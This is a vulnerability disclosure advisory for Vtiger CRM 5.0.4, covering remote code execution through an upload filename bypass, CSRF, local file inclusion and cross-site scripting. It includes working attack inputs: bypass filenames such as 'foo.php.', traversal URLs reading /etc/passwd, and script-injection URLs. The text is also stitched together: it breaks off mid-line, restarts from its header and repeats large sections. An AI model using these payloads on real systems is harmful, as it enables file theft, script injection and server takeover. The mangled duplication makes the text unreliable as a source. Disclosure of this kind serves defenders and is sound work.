|
|
Vtiger CRM 5.0.4 Multiple Vulnerabilities
Name Multiple Vulnerabilities in Vtiger CRM
Systems Affected Vtiger CRM 5.0.4 and possibly earlier versions
Severity Medium
Impact (CVSSv2) Medium 6/10, vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Vendor http://www.vtigercrm.com
Advisory
http://www.ush.it/team/ush/hack-vtigercrm_504/vtigercrm_504.txt
Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Francesco "ascii" Ongaro (ascii AT ush DOT it)
Date 20090818
I. BACKGROUND
Vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal
for small and medium businesses, with low-cost product support available
to production users that need reliable support.
II. DESCRIPTION
Multiple Vulnerabilities exist in Vtiger CRM software.
Some of the technical issues highlighted in this advisory are part of a
wider publication, "PHP filesystem attack vectors - Take Two", and are
generic to applications written in the PHP language:
http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/
III. ANALYSIS
Summary:
A) Remote Code Execution (RCE) Vulnerability
B) Cross Site Request Forgery (CSRF) Vulnerabilities
C) Local File Inclusion (LFI) Vulnerability
D) Cross Side Scripting (XSS) Vulnerability
A) Remote Code Execution (Windows Only) Vulnerability
A Remote Code Execution vulnerability exists in Vtiger CRM version
5.0.4. In order to exploit this vulnerability an account on the CRM
system is required.
The vulnerability resides in the "Compose Mail" section. The software
permits sending email with attachments and offers a draft save feature.
When this feature is requested and an attachment is specified, the
"saveForwardAttachments" validation routine is called.
This routine involves some security checks to handle uploaded files, it
does blacklist extension checking and if a bad extension is detected the
txt extension is appended to the file-name.
The following is the specific section:
--8<--8<--8<--8<--8<--8<--8<-Vtiger CRM 5.0.4 Multiple Vulnerabilities
Name Multiple Vulnerabilities in Vtiger CRM
Systems Affected Vtiger CRM 5.0.4 and possibly earlier versions
Severity Medium
Impact (CVSSv2) Medium 6/10, vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Vendor http://www.vtigercrm.com
Advisory
Authors Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Francesco "ascii" Ongaro (ascii AT ush DOT it)
Date 20090818
I. BACKGROUND
Vtiger CRM is a free, full-featured, 100% Open Source CRM software ideal
for small and medium businesses, with low-cost product support available
to production users that need reliable support.
II. DESCRIPTION
Multiple Vulnerabilities exist in Vtiger CRM software.
Some of the technical issues highlighted in this advisory are part of a
wider publication, "PHP filesystem attack vectors - Take Two", and are
generic to applications written in the PHP language:
http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/
III. ANALYSIS
Summary:
A) Remote Code Execution (RCE) Vulnerability
B) Cross Site Request Forgery (CSRF) Vulnerabilities
C) Local File Inclusion (LFI) Vulnerability
D) Cross Side Scripting (XSS) Vulnerability
A) Remote Code Execution (Windows Only) Vulnerability
A Remote Code Execution vulnerability exists in Vtiger CRM version
5.0.4. In order to exploit this vulnerability an account on the CRM
system is required.
The vulnerability resides in the "Compose Mail" section. The software
permits sending email with attachments and offers a draft save feature.
When this feature is requested and an attachment is specified, the
"saveForwardAttachments" validation routine is called.
This routine involves some security checks to handle uploaded files, it
does blacklist extension checking and if a bad extension is detected the
txt extension is appended to the file-name.
The following is the specific section:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
$ext_pos = strrpos($binFile, ".");
$ext = substr($binFile, $ext_pos + 1);
if (in_array(strtolower($ext), $upload_badext))
{
$binFile .= ".txt";
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
It's known that in some circostances (for example when the PHP handler
is configured using AddType/Action/AddHandler globally, eg. not inside
an Apache's Files/FilesMatch directive) blacklisting is not enough as
files in the form of "filename.php.foo" will be mapped back to PHP
anyway (since foo is not explicitly defined in the MIME map and Apache
will try to guess the filetype by its own).
Beside this known issue we want to point out a less known exploitation
methodology that works on Windows hosts.
First the attacker has to find the name of the file that was uploaded
in the attachment list files. Vtiger CRM saves files in a path like:
storage/2009/July/week1/
And prepends an incremental unique number to the filename like:
133_foo.php
So, a hypothetical attacker has only to guess the prepended number. This
can be done by bruteforcing or by requesting the url:
http://127.0.0.1/vtigercrm/index.php?module=Emails&action=ListView
At this page Vtiger CRM shows the list of all the emails sent and saved,
and for every email it allows to download the attachment showing its
unique id in the link.
http://127.0.0.1/vtigercrm/index.php?module=uploads&action=downloadfile&
return_module=Emails&fileid=133&entityid=136
So, finally, the link to exploit this vulnerability should be something
like:
http://127.0.0.1/vtigercrm/storage/2009/July/week1/133.foo.php
While Vtiger CRM blocks known dangerous extensions (like .php) making
direct exploitation impossible it has to be highlighted that this simple
estension check is totally improper since it does not consider specific
filenames and behaviours of the operating systems where Vtiger CRM is
deployed.
For example on Windows OS is possible to exploit this vulnerability by
requesting an upload with the filename "foo.php.".
This string will bypass the check and since Windows does not permit
filenames ending with a dot, modifying it in a transparent way, the final
name of the file will simply be "foo.php.".
A similar result can be obtained on GNU/Linux by requesting an upload
with the filename "foo.php/."
Note that the integrated webmail feature that allows a user to write
emails and eventually save a draft of them is authenticated (a valid
user on the system is required in order to exploit this vulnerability).
B) Multiple CSRF (Cross Site Request Forgery) Vulnerabilites
Multiple CSRF vulnerabilities exist in vtiger crm version 5.0.4.
Here's a demonstrative one (an Admin user has to follow this link):
http://127.0.0.1/vtigercrm/index.php?module=Rss&action=Save&rssurl=http:
//www.ush.it/feed
The feed is added to the news feed system visible by the crm users.
Other and more dangerous CSRF vulnerabilities exist.
C) Local File Inclusion
Some LFI vulnerabilities exist in Vtiger CRM version 5.0.4.
Some examples:
1) http://127.0.0.1/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00
2) http://127.0.0.1/vtigercrm/index.php?module=Accounts&action=Import&pa
renttab=Support&step=/../[..]/../etc/passwd%00
Add as many "../" instead of the "[..]" placeholder as needed.
The first one does not need a valid user account, the second one is
authenticated.
Other modules are vulnerable to LFI, for example those who include
"Import/index.php" where the vulnerability resides:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
grep "Import/index.php" * -R
modules/Accounts/Import.php: include('modules/Import/index.php');
modules/Contacts/Import.php: include('modules/Import/index.php');
modules/HelpDesk/Import.php: include('modules/Import/index.php');
modules/Leads/Import.php: include('modules/Import/index.php');
modules/Potentials/Import.php: include('modules/Import/index.php');
modules/Products/Import.php: include('modules/Import/index.php');
modules/Vendors/Import.php: include('modules/Import/index.php');
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
A third LFI vulnerability has been found in "CommonAjax.php", both
"module" and "file" parameters are vulnerable.
http://127.0.0.1/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
Will lead to a call like "require_once(modules/Email/bar.php)".
If direct access to "CommonAjax.php" has been forbidden other entry
points can be used:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
grep "Ajax/CommonAjax.php" * -R
modules/Campaigns/CampaignsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/SalesOrder/SalesOrderAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/System/SystemAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Products/ProductsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/uploads/uploadsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Dashboard/DashboardAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Potentials/PotentialsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Notes/NotesAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Faq/FaqAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Quotes/QuotesAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Utilities/UtilitiesAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Calendar/ActivityAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Calendar/CalendarAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/PurchaseOrder/PurchaseOrderAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/HelpDesk/HelpDeskAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Invoice/InvoiceAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Accounts/AccountsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Reports/ReportsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Contacts/ContactsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Portal/PortalAjax.php: require_once('include/Ajax/CommonAjax.php');
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
To use one of these files as gateway for the previous vulnerability
issue a request like the following:
http://127.0.0.1/vtigercrm/?module=Invoice&action=InvoiceAjax&file=bar
Where "Invoice" and "InvoiceAjax" are values from the presented list.
This LFI vulnerability is not exploitable if you have applied a separate
patch available at the following url:
https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.0.4%20
Latest%20Stable/VtigerCRM504_Security_Patch.zip
We question ourself about the usefulness of such patch without a proper
release. Probably little or no Vtiger CRM customers have applied such
patch.
D) Cross Side Scripting vulnerabilites
Some XSS vulnerabilities exist in Vtiger CRM version 5.0.4.
For example:
http://127.0.0.1/vtigercrm/phprint.php?module=Activities&action=--%3E%3C
script%3Ealert(%22ush.it%22);%3C/script%3E%3C!--
Or:
http://127.0.0.1/vtigercrm/index.php?action=UnifiedSearch&module=Home&pa
renttab=My+Home+Page&query_string=%27%22%3E%3Cscript%3Ealert(123)%3C/scr
ipt%3E
IV. DETECTION
Vtiger CRM 5.0.4 and possibly earlier versions are vulnerable.
V. WORKAROUND
Upgrade to latest version 5.1.0.
VI. VENDOR RESPONSE
"Our team reviewed the issues reported against current development build
(version 5.1.0) and seem to have
addressed many of them already. In this version we have made several
improvements to performance and
closed loop holes reported on 5.0.4 with lot more features.
Please let me know if you need further clarification.
Thank you for your support once again."
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20090620 Bug discovered
20090706 First vendor contact
20090706 Vendor Response
20090706 Vendor Confirm the vulnerability
20090713 Vendor propose a possible fix and path release
20090722 Vendor released VtigerCRM 5.1.0 (Vulnerability fixed)
20090818 Advisory released
IX. CREDIT
Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco
"ascii" Ongaro are credited with the discovery of this vulnerability.
Giovanni "evilaliv3" Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it
Antonio "s4tan" Parata
web site: http://www.ush.it/
mail: s4tan AT ush DOT it
Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it
X. LEGAL NOTICES
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
-8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
$ext_pos = strrpos($binFile, ".");
$ext = substr($binFile, $ext_pos + 1);
if (in_array(strtolower($ext), $upload_badext))
{
$binFile .= ".txt";
}
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
It's known that in some circostances (for example when the PHP handler
is configured using AddType/Action/AddHandler globally, eg. not inside
an Apache's Files/FilesMatch directive) blacklisting is not enough as
files in the form of "filename.php.foo" will be mapped back to PHP
anyway (since foo is not explicitly defined in the MIME map and Apache
will try to guess the filetype by its own).
Beside this known issue we want to point out a less known exploitation
methodology that works on Windows hosts.
First the attacker has to find the name of the file that was uploaded
in the attachment list files. Vtiger CRM saves files in a path like:
storage/2009/July/week1/
And prepends an incremental unique number to the filename like:
133_foo.php
So, a hypothetical attacker has only to guess the prepended number. This
can be done by bruteforcing or by requesting the url:
http://127.0.0.1/vtigercrm/index.php?module=Emails&action=ListView
At this page Vtiger CRM shows the list of all the emails sent and saved,
and for every email it allows to download the attachment showing its
unique id in the link.
http://127.0.0.1/vtigercrm/index.php?module=uploads&action=downloadfile&
return_module=Emails&fileid=133&entityid=136
So, finally, the link to exploit this vulnerability should be something
like:
http://127.0.0.1/vtigercrm/storage/2009/July/week1/133.foo.php
While Vtiger CRM blocks known dangerous extensions (like .php) making
direct exploitation impossible it has to be highlighted that this simple
estension check is totally improper since it does not consider specific
filenames and behaviours of the operating systems where Vtiger CRM is
deployed.
For example on Windows OS is possible to exploit this vulnerability by
requesting an upload with the filename "foo.php.".
This string will bypass the check and since Windows does not permit
filenames ending with a dot, modifying it in a transparent way, the final
name of the file will simply be "foo.php.".
A similar result can be obtained on GNU/Linux by requesting an upload
with the filename "foo.php/."
Note that the integrated webmail feature that allows a user to write
emails and eventually save a draft of them is authenticated (a valid
user on the system is required in order to exploit this vulnerability).
B) Multiple CSRF (Cross Site Request Forgery) Vulnerabilites
Multiple CSRF vulnerabilities exist in vtiger crm version 5.0.4.
Here's a demonstrative one (an Admin user has to follow this link):
http://127.0.0.1/vtigercrm/index.php?module=Rss&action=Save&rssurl=http:
//www.ush.it/feed
The feed is added to the news feed system visible by the crm users.
Other and more dangerous CSRF vulnerabilities exist.
C) Local File Inclusion
Some LFI vulnerabilities exist in Vtiger CRM version 5.0.4.
Some examples:
1) http://127.0.0.1/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00
2) http://127.0.0.1/vtigercrm/index.php?module=Accounts&action=Import&pa
renttab=Support&step=/../[..]/../etc/passwd%00
Add as many "../" instead of the "[..]" placeholder as needed.
The first one does not need a valid user account, the second one is
authenticated.
Other modules are vulnerable to LFI, for example those who include
"Import/index.php" where the vulnerability resides:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
grep "Import/index.php" * -R
modules/Accounts/Import.php: include('modules/Import/index.php');
modules/Contacts/Import.php: include('modules/Import/index.php');
modules/HelpDesk/Import.php: include('modules/Import/index.php');
modules/Leads/Import.php: include('modules/Import/index.php');
modules/Potentials/Import.php: include('modules/Import/index.php');
modules/Products/Import.php: include('modules/Import/index.php');
modules/Vendors/Import.php: include('modules/Import/index.php');
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
A third LFI vulnerability has been found in "CommonAjax.php", both
"module" and "file" parameters are vulnerable.
http://127.0.0.1/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
Will lead to a call like "require_once(modules/Email/bar.php)".
If direct access to "CommonAjax.php" has been forbidden other entry
points can be used:
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
grep "Ajax/CommonAjax.php" * -R
modules/Campaigns/CampaignsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/SalesOrder/SalesOrderAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/System/SystemAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Products/ProductsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/uploads/uploadsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Dashboard/DashboardAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Potentials/PotentialsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Notes/NotesAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Faq/FaqAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Quotes/QuotesAjax.php: require_once('include/Ajax/CommonAjax.php');
modules/Utilities/UtilitiesAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Calendar/ActivityAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Calendar/CalendarAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/PurchaseOrder/PurchaseOrderAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/HelpDesk/HelpDeskAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Invoice/InvoiceAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Accounts/AccountsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Reports/ReportsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Contacts/ContactsAjax.php:
require_once('include/Ajax/CommonAjax.php');
modules/Portal/PortalAjax.php: require_once('include/Ajax/CommonAjax.php');
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
To use one of these files as gateway for the previous vulnerability
issue a request like the following:
http://127.0.0.1/vtigercrm/?module=Invoice&action=InvoiceAjax&file=bar
Where "Invoice" and "InvoiceAjax" are values from the presented list.
This LFI vulnerability is not exploitable if you have applied a separate
patch available at the following url:
https://sourceforge.net/projects/vtigercrm/files/vtiger%20CRM%205.0.4%20
Latest%20Stable/VtigerCRM504_Security_Patch.zip
We question ourself about the usefulness of such patch without a proper
release. Probably little or no Vtiger CRM customers have applied such
patch.
D) Cross Side Scripting vulnerabilites
Some XSS vulnerabilities exist in Vtiger CRM version 5.0.4.
For example:
http://127.0.0.1/vtigercrm/phprint.php?module=Activities&action=--%3E%3C
script%3Ealert(%22ush.it%22);%3C/script%3E%3C!--
Or:
http://127.0.0.1/vtigercrm/index.php?action=UnifiedSearch&module=Home&pa
renttab=My+Home+Page&query_string=%27%22%3E%3Cscript%3Ealert(123)%3C/scr
ipt%3E
IV. DETECTION
Vtiger CRM 5.0.4 and possibly earlier versions are vulnerable.
V. WORKAROUND
Upgrade to latest version 5.1.0.
VI. VENDOR RESPONSE
"Our team reviewed the issues reported against current development build
(version 5.1.0) and seem to have
addressed many of them already. In this version we have made several
improvements to performance and
closed loop holes reported on 5.0.4 with lot more features.
Please let me know if you need further clarification.
Thank you for your support once again."
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20090620 Bug discovered
20090706 First vendor contact
20090706 Vendor Response
20090706 Vendor Confirm the vulnerability
20090713 Vendor propose a possible fix and path release
20090722 Vendor released VtigerCRM 5.1.0 (Vulnerability fixed)
20090818 Advisory released
IX. CREDIT
Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata and Francesco
"ascii" Ongaro are credited with the discovery of this vulnerability.
Giovanni "evilaliv3" Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it
Antonio "s4tan" Parata
web site: http://www.ush.it/
mail: s4tan AT ush DOT it
Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it
X. LEGAL NOTICES
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.